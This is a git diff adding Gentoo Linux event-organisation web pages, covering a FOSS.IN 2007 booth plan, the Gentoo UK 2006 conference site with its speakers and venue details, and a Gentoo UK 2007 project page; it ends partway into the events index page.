+# This is a place holder... ph34r...
diff --git a/xml/htdocs/proj/en/pr/events/foss.in2007-india/index.xml b/xml/htdocs/proj/en/pr/events/foss.in2007-india/index.xml
new file mode 100644
index 00000000..d2de1049
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/foss.in2007-india/index.xml
@@ -0,0 +1,98 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/events/foss.in2007-india/index.xml,v 1.6 2007/11/27 16:46:35 anant Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+  <name>foss.in2007-india</name>
+  <longname>FOSS.IN 2007</longname>
+  <date>09 October 2007</date>
+  <author title="Author">
+	<mail link="anant@gentoo.org">Anant Narayanan</mail>
+  </author>
+
+  <description>
+  	This subproject is a place to hold information on organizing the Gentoo booth
+  	at FOSS.IN 2007.
+  </description>
+  
+  <longdescription>
+	<p>
+		  FOSS.IN 2007, will be held at the National Science Symposium Centre, IISc,
+		  Bangalore, India from December 04th to 08th. FOSS.IN is India's largest
+		  conference on Free and Open Source software.
+    </p>
+	<ul>
+		<li>Official Website : <uri>http://foss.in/</uri></li>
+	</ul>
+  </longdescription>
+
+  <goals>
+	<p>
+		Gentoo will be present at the event, and a stall has been organized for the
+		same, at the FOSS expo. We will be allotted one of the stalls in the 'D' area
+		as shown in <uri link="http://foss.in/2007/info/Image:Expo.gif">this map</uri>.
+	</p>
+	<ul>
+		<li>Get a Gentoo Banner</li>
+		<li>Make CDs and DVDs to give-away at the stall</li>
+		<li>Make T-Shirts: 
+			We can't sell them at the stall as per this <uri link="http://tech.groups.yahoo.com/group/foss-in/message/4560">message</uri></li>
+		<li>Print stickers to give-away at the stall</li>
+		<li>Organize hardware and decide on who will man the stall and when :)</li>
+	</ul>
+  </goals>
+
+  <dev role="Lead">fox2mike</dev>
+  <dev role="Member">anant</dev>
+
+  <extrachapter>
+	<title>Preparing the event</title>
+	<section>
+		<title>Organizing</title>		
+		<body>
+			<table>
+				<tr>
+					<th>Task</th>
+					<th>Description</th>
+					<th>Who</th>
+					<th>By When</th>
+					<th>Status</th>
+				</tr>
+				<tr>
+					<ti>Banner</ti>
+					<ti>The events team will ship a banner</ti>
+					<ti>wolf31o2</ti>
+					<ti>DONE</ti>
+					<ti>Received by fox2mike</ti>
+				</tr>
+				<tr>
+					<ti>Stickers</ti>
+					<ti>Print 1000Nos. Gentoo stickers for distribution</ti>
+					<ti></ti>
+					<ti>Dec 01</ti>
+					<ti>Sticker design sent</ti>
+				</tr>
+				<tr>
+					<ti>T-Shirts</ti>
+					<ti>Find a good T-Shirt vendor, create a design and get them printed</ti>
+					<ti>anant</ti>
+					<ti>DONE</ti>
+					<ti>24 T-Shirts received by anant</ti>
+				</tr>
+				<tr>
+					<ti>Media</ti>
+					<ti>
+						Get 100 CDs and 50 DVDs of 2007.0 (or 2007.1, if available) ready.
+						Also procure a CD/DVD writer for use on stall.
+					</ti>
+					<ti></ti>
+					<ti>Nov 30</ti>
+					<ti>In-progress</ti>
+				</tr>
+			</table>
+		</body>
+	</section>
+  </extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/pr/events/froscon2006-germany/placeholder.txt b/xml/htdocs/proj/en/pr/events/froscon2006-germany/placeholder.txt
new file mode 100644
index 00000000..a93df416
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/froscon2006-germany/placeholder.txt
@@ -0,0 +1 @@
+# This is a place holder... ph34r...
diff --git a/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/about.html b/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/about.html
new file mode 100644
index 00000000..88dcafb0
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/about.html
@@ -0,0 +1,58 @@
+<html>
+<head>
+<title>Gentoo UK 2006 Conference</title>
+<link rel="stylesheet" type="text/css" href="style.css" />
+</head>
+<body>
+
+<div id="top">
+<span id="logo"><img src="logo.png" align="top" width="106" height="108" /></span>
+<span id="header">Gentoo UK 2006</span>
+</div>
+
+<div id="menu">
+<h1>Navigation</h1>
+<ul>
+<li><a href="index.html">Info</a></li>
+<li><a href="http://reactivated.net/gentoo-uk-2006-register.php">Register!</a></li>
+<li><a href="programme.html">Programme</a></li>
+<li><a href="speakers.html">Speakers</a></li>
+<li><a href="venue.html">Venue and Directions</a></li>
+<li><a href="social.html">The Social</a></li>
+<li><a href="about.html">About Gentoo</a></li>
+</ul>
+
+<h1>Links</h1>
+<ul>
+<li><a href="http://www.gentoo.org">Gentoo Linux</a></li>
+<li><a href="http://dev.gentoo.org/~stuart/2005">Gentoo UK 2005</a></li>
+<li><a href="http://dev.gentoo.org/~stuart/2004">Gentoo UK 2004</a></li>
+</ul>
+
+<h1>Contact</h1>
+<ul>
+<li><a href="mailto:dsd@gentoo.org">Daniel Drake</a></li>
+</ul>
+
+</div>
+
+<div id="body">
+
+<h1>About Gentoo</h1>
+
+<p>
+Gentoo Linux is a free operating system produced by hundreds of volunteer developers worldwide. Gentoo Linux is open-source, which means that it is freely redistributable, and can be freely modified, much unlike commercial software.
+</p>
+
+<p>
+Gentoo is available on a huge range of computer architectures, including Intel, AMD64, Sparc, PPC, MIPS, HPPA and ARM.
+</p>
+
+<p>
+Gentoo is a special flavor of Linux that can be automatically optimized and customized for just about any application or need. Extreme performance, configurability and a top-notch user and developer community are all hallmarks of the Gentoo experience. To learn more, read our <a href="http://www.gentoo.org/main/en/about.xml">about page</a>.
+</p>
+
+</div>
+
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/index.html b/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/index.html
new file mode 100644
index 00000000..163c0e60
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/index.html
@@ -0,0 +1,89 @@
+<html>
+<head>
+<title>Gentoo UK 2006 Conference</title>
+<link rel="stylesheet" type="text/css" href="style.css" />
+</head>
+<body>
+
+<div id="top">
+<span id="logo"><img src="logo.png" align="top" width="106" height="108" /></span>
+<span id="header">Gentoo UK 2006</span>
+</div>
+
+<div id="menu">
+<h1>Navigation</h1>
+<ul>
+<li><a href="index.html">Info</a></li>
+<li><a href="http://reactivated.net/gentoo-uk-2006-register.php">Register!</a></li>
+<li><a href="programme.html">Programme</a></li>
+<li><a href="speakers.html">Speakers</a></li>
+<li><a href="venue.html">Venue and Directions</a></li>
+<li><a href="social.html">The Social</a></li>
+<li><a href="about.html">About Gentoo</a></li>
+</ul>
+
+<h1>Links</h1>
+<ul>
+<li><a href="http://www.gentoo.org">Gentoo Linux</a></li>
+<li><a href="http://dev.gentoo.org/~stuart/2005">Gentoo UK 2005</a></li>
+<li><a href="http://dev.gentoo.org/~stuart/2004">Gentoo UK 2004</a></li>
+</ul>
+
+<h1>Contact</h1>
+<ul>
+<li><a href="mailto:dsd@gentoo.org">Daniel Drake</a></li>
+</ul>
+
+</div>
+
+<div id="body">
+
+<h1>Announcing Gentoo UK 2006</h1>
+
+<p>
+Since 2004, we have been hosting annual Gentoo UK conferences. Following on from the success of the previous two events, we are pleased to announce the Gentoo UK 2006 Conference.
+</p>
+
+<p>
+This year, the conference will take place on <b>Saturday 8th July 2006</b>, in <b>Central London</b>. The appointed venue is The Resource Centre, situated on Holloway Road. <a href="venue.html">More information about the venue is available</a>.
+</p>
+
+<p>
+Anyone and everyone interested in Gentoo Linux is welcome to attend. The conference will feature a series of presentations mostly given by Gentoo developers, as well as some general discussion and help sessions, not to forget social events and a chance to get to know users and developers of the distribution.
+</p>
+
+<p>
+<b>Registration is now open.</b> As our numbers are limited, we require people to register before the event, by simply leaving a name and email address. The registration form can be found <a href="http://reactivated.net/gentoo-uk-2006-register.php">here</a>.
+</p>
+
+<p>
+Those interested in the event and its planning can find us in <b>#gentoo-uk</b> on <a href"http://www.freenode.org">Freenode IRC</a>.
+</p>
+
+<h2>News</h2>
+
+<p>
+2006-04-16: The European shipment has arrived! Gentoo developers Danny van Dyk, Bryan Østergaard, and Tobias Scherbaum will be flying over for the event. Hopefully a few more will follow. See the <a href="speakers.html">Speakers page</a> for more details of attending developers. Also, I added details of a super-cheap hostel to the <a href="venue.html">Venue page</a>.
+</p>
+
+<p>
+2006-06-14: Added some more hotel details to the <a href="venue.html">venue page</a>. Also we have more confirmed speakers and attending developers on the <a href="speakers.html">Speakers page</a>. Finally, it looks likely we'll have several continental devs flying over from various parts of Europe - stay tuned!
+</p>
+
+<p>
+2006-06-11: Added some cheap accommodation info to the <a href="venue.html">venue page</a>. If anyone knows of any other cheap places to stay, please let me know.
+</p>
+
+<p>
+2006-06-10: <a href="http://www.reactivated.net/gentoo-uk-2006-register.php">Registration open</a>. Please register as early as possible.
+</p>
+
+<p>
+2006-06-09: Planning is back on-track, the conference is definitely happening on <b>8th July</b> as previously planned. Website has been updated with venue details and directions.
+</p>
+
+
+</div>
+
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/logo.png b/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/logo.png
new file mode 100644
index 00000000..ba6f6fc6
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/logo.png
diff --git a/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/placeholder.txt b/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/placeholder.txt
new file mode 100644
index 00000000..a93df416
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/placeholder.txt
@@ -0,0 +1 @@
+# This is a place holder... ph34r...
diff --git a/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/programme.html b/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/programme.html
new file mode 100644
index 00000000..2b9ebdea
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/programme.html
@@ -0,0 +1,50 @@
+<html>
+<head>
+<title>Gentoo UK 2006 Conference</title>
+<link rel="stylesheet" type="text/css" href="style.css" />
+</head>
+<body>
+
+<div id="top">
+<span id="logo"><img src="logo.png" align="top" width="106" height="108" /></span>
+<span id="header">Gentoo UK 2006</span>
+</div>
+
+<div id="menu">
+<h1>Navigation</h1>
+<ul>
+<li><a href="index.html">Info</a></li>
+<li><a href="http://reactivated.net/gentoo-uk-2006-register.php">Register!</a></li>
+<li><a href="programme.html">Programme</a></li>
+<li><a href="speakers.html">Speakers</a></li>
+<li><a href="venue.html">Venue and Directions</a></li>
+<li><a href="social.html">The Social</a></li>
+<li><a href="about.html">About Gentoo</a></li>
+</ul>
+
+<h1>Links</h1>
+<ul>
+<li><a href="http://www.gentoo.org">Gentoo Linux</a></li>
+<li><a href="http://dev.gentoo.org/~stuart/2005">Gentoo UK 2005</a></li>
+<li><a href="http://dev.gentoo.org/~stuart/2004">Gentoo UK 2004</a></li>
+</ul>
+
+<h1>Contact</h1>
+<ul>
+<li><a href="mailto:dsd@gentoo.org">Daniel Drake</a></li>
+</ul>
+
+</div>
+
+<div id="body">
+
+<h1>Programme</h1>
+
+<p>
+To be decided
+</p>
+
+</div>
+
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/social.html b/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/social.html
new file mode 100644
index 00000000..207c5021
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/social.html
@@ -0,0 +1,54 @@
+<html>
+<head>
+<title>Gentoo UK 2006 Conference</title>
+<link rel="stylesheet" type="text/css" href="style.css" />
+</head>
+<body>
+
+<div id="top">
+<span id="logo"><img src="logo.png" align="top" width="106" height="108" /></span>
+<span id="header">Gentoo UK 2006</span>
+</div>
+
+<div id="menu">
+<h1>Navigation</h1>
+<ul>
+<li><a href="index.html">Info</a></li>
+<li><a href="http://reactivated.net/gentoo-uk-2006-register.php">Register!</a></li>
+<li><a href="programme.html">Programme</a></li>
+<li><a href="speakers.html">Speakers</a></li>
+<li><a href="venue.html">Venue and Directions</a></li>
+<li><a href="social.html">The Social</a></li>
+<li><a href="about.html">About Gentoo</a></li>
+</ul>
+
+<h1>Links</h1>
+<ul>
+<li><a href="http://www.gentoo.org">Gentoo Linux</a></li>
+<li><a href="http://dev.gentoo.org/~stuart/2005">Gentoo UK 2005</a></li>
+<li><a href="http://dev.gentoo.org/~stuart/2004">Gentoo UK 2004</a></li>
+</ul>
+
+<h1>Contact</h1>
+<ul>
+<li><a href="mailto:dsd@gentoo.org">Daniel Drake</a></li>
+</ul>
+
+</div>
+
+<div id="body">
+
+<h1>Social Events</h1>
+
+<p>
+For those who can join us the night before, we will meeting somewhere in London for a few pints in the city's pubs. More details will be posted nearer the time.
+</p>
+
+<p>
+After the conference, there will be some time to enjoy a few drinks in the local area before everyone has to head off.
+</p>
+
+</div>
+
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/speakers.html b/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/speakers.html
new file mode 100644
index 00000000..826e550c
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/speakers.html
@@ -0,0 +1,154 @@
+<html>
+<head>
+<title>Gentoo UK 2006 Conference</title>
+<link rel="stylesheet" type="text/css" href="style.css" />
+</head>
+<body>
+
+<div id="top">
+<span id="logo"><img src="logo.png" align="top" width="106" height="108" /></span>
+<span id="header">Gentoo UK 2006</span>
+</div>
+
+<div id="menu">
+<h1>Navigation</h1>
+<ul>
+<li><a href="index.html">Info</a></li>
+<li><a href="http://reactivated.net/gentoo-uk-2006-register.php">Register!</a></li>
+<li><a href="programme.html">Programme</a></li>
+<li><a href="speakers.html">Speakers</a></li>
+<li><a href="venue.html">Venue and Directions</a></li>
+<li><a href="social.html">The Social</a></li>
+<li><a href="about.html">About Gentoo</a></li>
+</ul>
+
+<h1>Links</h1>
+<ul>
+<li><a href="http://www.gentoo.org">Gentoo Linux</a></li>
+<li><a href="http://dev.gentoo.org/~stuart/2005">Gentoo UK 2005</a></li>
+<li><a href="http://dev.gentoo.org/~stuart/2004">Gentoo UK 2004</a></li>
+</ul>
+
+<h1>Contact</h1>
+<ul>
+<li><a href="mailto:dsd@gentoo.org">Daniel Drake</a></li>
+</ul>
+
+</div>
+
+<div id="body">
+
+<p>
+More speakers and attending developers will be added as we confirm attendance.
+</p>
+
+<h1>Speakers</h1>
+
+<h3>Hanni Ali: Ainkaboot Gentoo Clustering, Kaboot Distribution</h3>
+
+<p>
+Hanni is the CEO / Technical Director of <a href="http://ainkaboot.co.uk">Ainkaboot</a>, a company specialising in high performance computing, making heavy use of Gentoo Linux.
+</p>
+
+<p>
+Hanni is also the founder of the <a href="http://kaboot.ainkaboot.co.uk/">Kaboot</a> Linux Distribution, a Live CD/USB operating system based around Gentoo Linux.
+</p>
+
+<h3>Daniel Drake (dsd): Opening the developer community</h3>
+
+<p>
+Daniel is a member of Gentoo's User Relations project, which aims to build better bridges between the user community and the developer community. In this talk, Daniel will describe some of the problems with the contribution flow amongst and between these two communities, and will make comparisons to the workings of other large software communities. The session will also include a discussion on how the current situation can be improved.
+</p>
+
+<p>
+Outside of User Relations, Daniel also maintains Gentoo's main kernel package (<em>gentoo-sources</em>) and spends time hacking on Linux and GNOME.
+</p>
+
+<h3>Tim Yamin (plasmaroo): Gentoo Release Engineering</h3>
+
+<p>
+Tim is the operational lead of Gentoo's Release Engineering team, and is also actively involved in the kernel herd, developer relations, and Gentoo Security.
+</p>
+
+<p>
+Tim will be giving a talk about Gentoo's Release Engineering project, which will provide insight into the process of generating Gentoo's release media and other activities.
+</p>
+
+<h2>Other Gentoo developers in attendance</h2>
+
+<h3>Jonathan Coome (Maedhros)</h3>
+
+<p>
+Jonathan is a Global Moderator for the resourceful <a href="http://forums.gentoo.org">Gentoo Forums</a>. He also spends time helping with the forum code.
+</p>
+
+<h3>Danny van Dyk (Kugelfang)</h3>
+
+<p>
+Danny is the operational lead of Gentoo's AMD64 architecture project. As well as testing/keywording various applications, Danny coordinates with Gentoo's Release Engineering team to ensure that each release runs smoothly on AMD64. Danny is travelling from Germany for the event.
+</p>
+
+<h3>Stuart Herbert (Stuart)</h3> <!-- can do Q/A session if needed -->
+
+<p>
+Stuart is the lead of Gentoo's Web Applications project. Stuart is the original author of Gentoo's promising webapp-config tool, and spends time maintaining Gentoo's PHP and Apache packages.
+</p>
+
+<h3>Marc Hildebrand (zypher)</h3>
+
+<p>
+Marc lends a hand maintaining various multimedia packages, mostly video applications and libraries. Marc resides in Germany, but is spending a few days in London over the event weekend.
+</p>
+
+<h3>Herbie Hopkins (herbs)</h3>
+
+<p>
+Herbie is a developer within the Gentoo/AMD64 architecture team. He helps maintain the 32-bit compatibility libraries and assists in testing and keywording packages for amd64-based systems.
+</p>
+
+<h3>Tom Knight (tomk)</h3>
+
+<p>
+Tom is the main administrator of the prestigious <a href="http://forums.gentoo.org">Gentoo Forums</a>. Tom also spends time maintaining some of Gentoo's PHP packages.
+</p>
+
+<h3>Roy Marples (UberLord)</h3>
+
+<p>
+Roy is the lead wizard behind Gentoo's high-quality networking scripts (<em>/etc/init.d/net.eth0</em> and friends): wired, wireless, VPN, PPP, and everything else. Roy also contributes to other areas of the baselayout package.
+</p>
+
+<h3>David Morgan (djm)</h3>
+
+<p>
+David is an architecture tester (AT) for the x86 architecture, responsible for measuring the stability of various packages in Portage on x86, and assisting in getting them keyworded appropriately. David is also currently sponsored by Google's <a href="http://code.google.com/soc/gentoo/about.html">Summer of Code programme</a> to develop a QA tool for Gentoo's ebuild tree, based on a previous project named qualudis.
+</p>
+
+<h3>John Mylchreest (johnm)</h3>
+
+<p>
+John leads Gentoo's kernel project. John also acts as the middle-man between the kernel and hardened projects, being the maintainer of Gentoo's kernel package for servers, <em>hardened-sources</em>.
+</p>
+
+<h3>Bryan Østergaard (kloeri)</h3>
+
+<p>
+It's difficult to sum up Bryan's areas of contribution in just a couple of sentences. Bryan is a lead of Gentoo's Developer Relations project, but is also involved with the Alpha, IA64, and x86 architecture projects. Additionally, he maintains some Python-related packages and helps with Gentoo's bugday efforts. Bryan is travelling from Denmark for this event.
+</p>
+
+<h3>Tobias Scherbaum (dertobi123)</h3>
+
+<p>
+Tobias is a member of Gentoo's HPPA architecture project, where he takes care of constructing releases of new install media for HPPA. Tobias is also a member of Gentoo's PPC architecture team. Tobias is travelling from Germany for this event.
+</p>
+
+<h3>Tony Vroon (Chainsaw)</h3>
+
+<p>
+Tony maintains various packages all over Gentoo's package tree, mostly in the instant messaging, audio and base system areas. Tony is also an upstream developer for <a href="http://audacious-media-player.org/Main_Page">Audacious</a>, a neat little media player.
+</p>
+
+</div>
+
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/style.css b/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/style.css
new file mode 100644
index 00000000..36ebb8e2
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/style.css
@@ -0,0 +1,43 @@
+body {
+	margin-left: 50px;
+	margin-right: 50px;
+	margin-top: 5px;
+}
+
+#top {
+	border-bottom: 1px dashed grey;
+}
+
+#top #logo {
+	position: relative;
+}
+
+#top #header {
+	position: relative;
+	font-weight: bold;
+	font-size: 2.8em;
+	top: 32px;
+	left: 50px;
+}
+
+#menu {
+	position: absolute;
+	width: 15em;
+	border-right: 1px dashed grey;
+}
+
+#menu h1 {
+	font-size: 1.2em;
+	font-weight: bold;
+	
+}
+
+#menu li {
+	padding-bottom: 5px;
+}
+
+#body {
+	position: absolute;
+	padding-left: 20px;
+	left: 18em;
+}
diff --git a/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/venue.html b/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/venue.html
new file mode 100644
index 00000000..2e789a7b
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/gentoo-uk2006-london/venue.html
@@ -0,0 +1,101 @@
+<html>
+<head>
+<title>Gentoo UK 2006 Conference</title>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<link rel="stylesheet" type="text/css" href="style.css" />
+</head>
+<body>
+
+<div id="top">
+<span id="logo"><img src="logo.png" align="top" width="106" height="108" /></span>
+<span id="header">Gentoo UK 2006</span>
+</div>
+
+<div id="menu">
+<h1>Navigation</h1>
+<ul>
+<li><a href="index.html">Info</a></li>
+<li><a href="http://reactivated.net/gentoo-uk-2006-register.php">Register!</a></li>
+<li><a href="programme.html">Programme</a></li>
+<li><a href="speakers.html">Speakers</a></li>
+<li><a href="venue.html">Venue and Directions</a></li>
+<li><a href="social.html">The Social</a></li>
+<li><a href="about.html">About Gentoo</a></li>
+</ul>
+
+<h1>Links</h1>
+<ul>
+<li><a href="http://www.gentoo.org">Gentoo Linux</a></li>
+<li><a href="http://dev.gentoo.org/~stuart/2005">Gentoo UK 2005</a></li>
+<li><a href="http://dev.gentoo.org/~stuart/2004">Gentoo UK 2004</a></li>
+</ul>
+
+<h1>Contact</h1>
+<ul>
+<li><a href="mailto:dsd@gentoo.org">Daniel Drake</a></li>
+</ul>
+
+</div>
+
+<div id="body">
+
+<h1>Venue</h1>
+
+<p>
+<img src="http://www.theresourcecentre.org.uk/images/firstpage_bottom.jpg" align="right" />
+<b>The Resource Centre</b> is a purpose-built conference centre, offering 16 rooms for hire to the voluntary sector. The building is owned by the <b>City Parochial Foundation</b>.
+</p>
+
+<p>
+We have one seminar room available, as well as a data projector and screen. Wireless internet access will be available.
+</p>
+
+<p>
+The resource centre is situated near a large restaurant/pub, which we will be most likely using for lunch. There is also a small cafeteria in the resource centre.
+</p>
+
+<h2>Directions</h2>
+
+<p>
+The resource centre is located in <b>Central London</b>, on Holloway Road.
+</p>
+
+<p>
+It is recommended that you use the London Underground train service. The nearest tube station is <b>Holloway Road</b>, located on the Picadilly line, just 2 stops from Kings Cross. After leaving the station onto the street, cross the road, turn left, and walk up the street for approximately 5 minutes. You will see a pub called <b>THE CORONET</b> with a <em>huge</em> sign. The Resource Centre is just a couple of buildings further on, on the same side of the road. The entrance is quite obvious.
+</p>
+
+<p>
+The Resource Centre website includes a <a href="http://www.theresourcecentre.org.uk/map_directions.html">short directions page</a> which explains other ways of reaching the venue. You can find a more readable map <a href="map.pdf">here</a> (PDF).
+</p>
+
+<p>
+James Rowe pointed out that the <a href="http://journeyplanner.tfl.gov.uk/user/XSLT_TRIP_REQUEST2?language=en">TFL Journey Planner</a> is an invaluable resource for planning travel around London. It allows you to plan journeys including travel by train/tube/bus/taxi/foot. Please note that there is more than one Holloway Road in London, so when using this site for travel planning, you should use the postcode of the venue: <b>N7 6PA</b>.
+</p>
+
+<h2>Accommodation</h2>
+
+<p>
+Some people may wish to stay in London a night or two before/after the event. London hotels are typically very expensive, so you'll want to be looking for a cheap B&amp;B or similar.
+</p>
+
+<p>
+<a href="http://www.imperial.ac.uk/conferences/index.asp?page_id=3">Imperial College Student Accommodation</a> is one promising candidate. The most basic accommodation starts at £42 per night (Pembridge Gardens) and is in a nice central location. 
+</p>
+
+<p>
+John Mylchreest provided some other hotel details:
+</p>
+
+<ul>
+<li>Travelodge in Kings Cross is £75 per night, a room normally sleeps 2.</li>
+<li>The Athena Hotel charge £58 for a single, £75 for a twin, and £93 for a triple. Internet access is available at £5 per day. They are located at 110-112 Sussex Gardens, Paddington.</li>
+<li><a href="http://www.generatorhostels.com/london/">Generator Hostel London</a> is really really cheap, especially if you choose to sleep in a dorm with a few strangers. Private rooms are also available.</li>
+</ul>
+
+<p>
+If anyone knows of any other reasonably priced (and not too shabby) accommodation which doesn't have any hidden costs, please <a href="mailto:dsd@gentoo.org">let me know</a>.
+</p>
+</div>
+
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/pr/events/guadec2006-spain/placeholder.txt b/xml/htdocs/proj/en/pr/events/guadec2006-spain/placeholder.txt
new file mode 100644
index 00000000..a93df416
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/guadec2006-spain/placeholder.txt
@@ -0,0 +1 @@
+# This is a place holder... ph34r...
diff --git a/xml/htdocs/proj/en/pr/events/guk07/index.xml b/xml/htdocs/proj/en/pr/events/guk07/index.xml
new file mode 100644
index 00000000..468605c9
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/guk07/index.xml
@@ -0,0 +1,163 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>GUK07</name>
+<longname>Gentoo-UK 07</longname>
+<date>2-3 March 2007</date>
+<author title="Author">
+  <mail link="welp@gentoo.org">Peter Weller</mail>
+</author>
+
+<description>
+Gentoo-UK (GUK) annual meeting.
+</description>
+
+<longdescription><p>
+Project page for Gentoo-UK's annual meeting.
+</p></longdescription>
+
+<dev role="Lead">welp</dev>
+
+<extrachapter>
+<title>About</title>
+<section>
+<body>
+
+<p>
+Gentoo UK is an annual conference for both Gentoo users and developers alike.
+It has been run annually since 2004, and has been met with great success, with
+attendees even visiting the UK from abroad to attend!
+
+This year, the conference will be run on the 14th of July, with talks and a
+keysigning session. If there is enough interest, there will also be informal
+hackfest on the 15th July.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Speakers</title>
+<section>
+<body>
+
+<p>
+Speakers at the event.
+</p>
+
+<table>
+<tr>
+  <th>Name</th>
+	<th>Nick (if applicable)</th>
+	<th>Topic</th>
+</tr>
+<tr>
+	<ti>Tobias Scherbaum</ti>
+	<ti>dertobi123</ti>
+	<ti>Introductionary talk to Gentoo</ti>
+</tr>
+<tr>
+  <ti>Andrew Cowie</ti>
+	<ti>AfC</ti>
+	<ti>Paddling upriver: relations between upstream developers and downstream packagers</ti>
+</tr>
+<tr>
+	<ti>Marcus Hanwell</ti>
+	<ti>cryos</ti>
+	<ti>Gentoo Science Project, KDE4</ti>
+</tr>
+<tr>
+	<ti>Hanni Ali</ti>
+	<ti></ti>
+	<ti>Clustering</ti>
+</tr>
+<tr>
+	<ti>Tavis Ormandy</ti>
+	<ti>taviso</ti>
+	<ti>Gentoo Security</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</extrachapter>
+<extrachapter>
+<title>Venue</title>
+<section>
+<body>
+
+<p>
+The event will be held at UCL, in London, UK. Many thanks to UCL's Computing
+Department for making the booking for us.  Many more details can be found
+<uri link="http://www.genbot.co.uk/">here</uri>. Please note that as there are
+a limited number of seats available, registration is necessary, and it is
+recommended that you register as soon as possible.
+</p>
+
+</body>
+</section>
+</extrachapter>
+<extrachapter>
+<title>Attending developers and speakers</title>
+<section>
+<body>
+
+<p>
+A list of all the attending developers and speakers
+</p>
+
+<table>
+<tr>
+	<th>Name</th>
+	<th>Nick</th>
+	<th>About</th>
+</tr>
+<tr>
+	<ti>Peter Weller</ti>
+	<ti>welp</ti>
+	<ti>Involved in many projects within Gentoo, including AMD64 and
+		Gentoo/Alt</ti>
+</tr>
+<tr>
+	<ti>Roy Bamford</ti>
+	<ti>NeddySeagoon</ti>
+	<ti>Forums Moderator on the Gentoo Forums</ti>
+</tr>
+<tr>
+	<ti>Roy Marples</ti>
+	<ti>UberLord</ti>
+	<ti>The person behind Gentoo's baselayout. Also works with
+		Gentoo/FreeBSD.</ti>
+</tr>
+<tr>
+	<ti>Tobias Scherbaum</ti>
+	<ti>dertobi123</ti>
+	<ti>Works with the HPPA and PPC architectures.</ti>
+</tr>
+<tr>
+	<ti>Tavis Ormandy</ti>
+	<ti>taviso</ti>
+	<ti>Member of the Gentoo Security and Gentoo/Alpha teams</ti>
+</tr>
+<tr>
+	<ti>Mart Raudsepp</ti>
+	<ti>leio</ti>
+	<ti>Helps maintain the wxWidgets-related packages and works with the Gnome team</ti>
+</tr>
+<tr>
+	<ti>Marcus Hanwell</ti>
+	<ti>cryos</ti>
+	<ti>Works with the Gentoo Science and Gentoo KDE projects, as well as with
+		the AMD64 team</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/pr/events/index.xml b/xml/htdocs/proj/en/pr/events/index.xml
new file mode 100644
index 00000000..36b9c0be
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/index.xml
@@ -0,0 +1,509 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/events/index.xml,v 1.81 2010/08/29 12:14:30 tove Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>events</name>
+<longname>Gentoo Events</longname>
+<date>2010-08-29</date>
+
+<author title="Author">
+<mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="Author">
+<mail link="nattfodd@gentoo.org">Alexandre Buisse</mail>
+</author>
+
+<author title="Author">
+<mail>dertobi123</mail>
+</author>
+
+<author title="Editor">
+<mail link="diox@gentoo.org">Dimitry Bradt</mail>
+</author>
+
+<author title="Editor">
+<mail>sping</mail>
+</author>
+
+<description>
+The Free Software Community is colored with many happenings and events. Very
+important on such events is the availability of the major players, including
+distributions. This subproject tries to cover all events where Gentoo can
+present itself.
+</description>
+
+<longdescription><p>
+The Gentoo Events project ("events") is the official Gentoo project for
